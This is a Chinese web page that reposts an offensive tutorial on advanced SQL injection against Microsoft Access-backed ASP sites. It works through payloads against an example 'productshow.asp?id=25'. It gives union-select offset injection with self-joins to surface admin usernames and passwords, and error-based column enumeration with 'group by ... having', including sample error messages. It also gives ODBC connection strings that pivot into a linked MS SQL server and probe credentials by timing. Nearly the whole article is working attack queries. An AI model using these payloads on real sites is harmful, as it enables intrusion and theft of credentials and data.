首 页IT知识库翔宇问吧收藏本站
当前位置:翔宇亭IT乐园IT知识库电脑基础安全防护

Access数据库注入技术高级玩法

减小字体 增大字体 作者:佚名  来源:网卫大学堂  发布时间:2010-01-24 20:31:00

  二,高级篇

  1,Access的偏移注入条件,知道一表名,一字段,一般来说ID字段还是有的。假如你知道order by 出的列数是20,那么,要知道admin表里的字段数,可以这样,and 1=2 union select 1,2,3,4,5,6,7,8,* from admin 出错,继续,and 1=2 union select 1,2,3,4,5,6,7,8,9,* from admin 逐一增加,直到返回正常这里要说下盲注,假如and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,* from admin返回正常,此时可能会爆出admin表的字段,取决于admin表的复杂程度和RP假如到15时返回正常,说明admin的字段数为20-15=5个,下面来自联,自联还有一个重要的条件就是admin的字段数*2 < order by 出的列数,可以看出自联的条件很严geunion select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id=b.id)

  以id为条件,将admin表的字段数加倍,这个(admin as a inner join admin as b on a.id=b.id)是

  admin表自连接,这样from 后面的表就会成为字段数加倍的表,前面10+2*5 = 20 个字段 就是合法的。* 代表的字段就会拓宽 加大username password在可显示位置的几率。

  如果不在怎么办? 那么

  union select 1,2,3,4,5,6,7,8,9,10,a.id,* from (admin as a inner join admin as b on a.id=b.id)

  union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)

  大家是否觉得很疑惑 10+ 2 + 5*2 = 22 > 20 但这条语句是合法的这个地方很关键,他为什么会是合法的语句,这个地方是技术核心 必须理解。前边是 22 后边是 20怎么可能相等?因为a.id 和 b.id在 * 里是有的,那么计算机自动去掉重复的 保持集合里元素的唯一性,这样一来虽然查询效果一样,但是*里的字段排列顺序却被打乱了!先后两次打乱 很有可能让username password偏移到可显示的位置。

  如果还没成功 怎么办?

  union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,c.id,* from ((admin as a inner join admin as

  b on a.id=b.id) inner join admin as c on a.id=c.id)

  union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,c.id,d.id,* from (((admin as a inner join

  admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on

  a.id=d.id)

2,having语句,group by 语句

  在Access数据库里,也支持having 和 group by 语句,众所周知,这2个语句我们常用来枚举字段名的,在Mssql数据库中很好使。在acc中就有些别扭了。这里分情况讨论,a:如果站点的Sql查询语句为 select id,name,address from 表名,也就是说查询的是特定的字段数据,那么我们可以这么暴, productshow.asp?id=25 group by 1 having 1=1(数字型),如果字符型就 ' group by 1 having '1'='1'

  返回的错误:

  Microsoft JET Database Engine (0x80040E21)

  试图执行的查询中不包含作为合计函数一部分的特定表达式 'id' 。

  爆出id字段,继续,productshow.asp?id=25 group by 1,id having 1=1

  返回错误:

  Microsoft JET Database Engine (0x80040E21)

  试图执行的查询中不包含作为合计函数一部分的特定表达式 'email' 。

  依次类推productshow.asp?id=25 group by 1,id,email having 1=1

  b:如果站点的原来SQL查询语句为select * from product where id="&ID&",那么执行上述语句就会返

  回这样的错误:

  Microsoft JET Database Engine 错误 '80040e21'

  不能将已选定 '*' 的字段中组合。

  /productshow.asp,行 18

  这时我们可以这样爆字段,productshow.asp?id=25 having sum(1)=1(数字型),字符型(' having

  sum('1')='1')

  返回的错误:

  Microsoft JET Database Engine 错误 '80040e21'

  试图执行的查询中不包含作为合计函数一部分的特定表达式 'id' 。

  /productshow.asp,行 18

  可以看出爆出了ID

  但这样很有局限性,只能爆出第一个id,其他的没办法了。那只能盲猜了。

  productshow.asp?id=25 and id=1 不报错,productshow.asp?id=25 and name=1 返回错误:

  Microsoft JET Database Engine 错误 '80040e10'

  至少一个参数没有被指定值。

  /productshow.asp,行 18

  3.连接到MsSQL数据库

  productshow.asp?id=25 and 1=2 union Select top 1 1,2,table_name from [ODBC;Driver=SQL

  Server;UID=dbo;PWD=dba;Server=*****;DataBase=master].information_schema.tables

  这样master库的第一个表名就出来了

  获得后面的表名也很简单

  union Select top 1 1,2,table_name from [ODBC;Driver=SQL

  Server;UID=dbo;PWD=dba;Server=*****;DataBase=master].information_schema.tables where

  table_name not in (select top 1 table_name from

  [ODBC;Driver=SQLServer;UID=dbo;PWD=dba;Server=****;DataBase=master].information_schema.ta

  bles)

  如果数据库里的ID是字符型

  ' union Select top 1 1,2,table_name from

  [ODBC;Driver=SQLServer;UID=dbo;PWD=dba;Server=***;DataBase=master].information_schema.tab

  les where '1'='1'

  返回的错误:

  Microsoft JET Database Engine 错误 '80004005'

  ODBC--连接到 'SQL Server******' 失败。

  如果这个错误返回延迟较长时间,说明database不允许连接,如果错误返回很快,没时间延迟,说明提供的账号或者密码有误。

上一页  [1] [2] [3]  下一页

知识评论评论内容只代表网友观点,与本站立场无关!

   评论摘要(共 0 条,得分 0 分,平均 0 分) 查看完整评论

用户名: 查看更多评论

分 值:100分 85分 70分 55分 40分 25分 10分 1分

内 容:

            请注意用语文明且合法,不要发布带有攻击性、侮辱性的言论,谢谢合作!

         通知管理员 验证码:

关于本站 | 网站帮助 | 广告合作 | 网站声明 | 友情连接 | 网站地图 | 用户守则 | 联系我们 |
本站大多数内容来自互联网或网站会员发布,如有侵权,请来信告之,谢谢!
Copyright © 2007-2017 biye5u.com. All Rights Reserved.
网站备案号:黑ICP备13005378号-3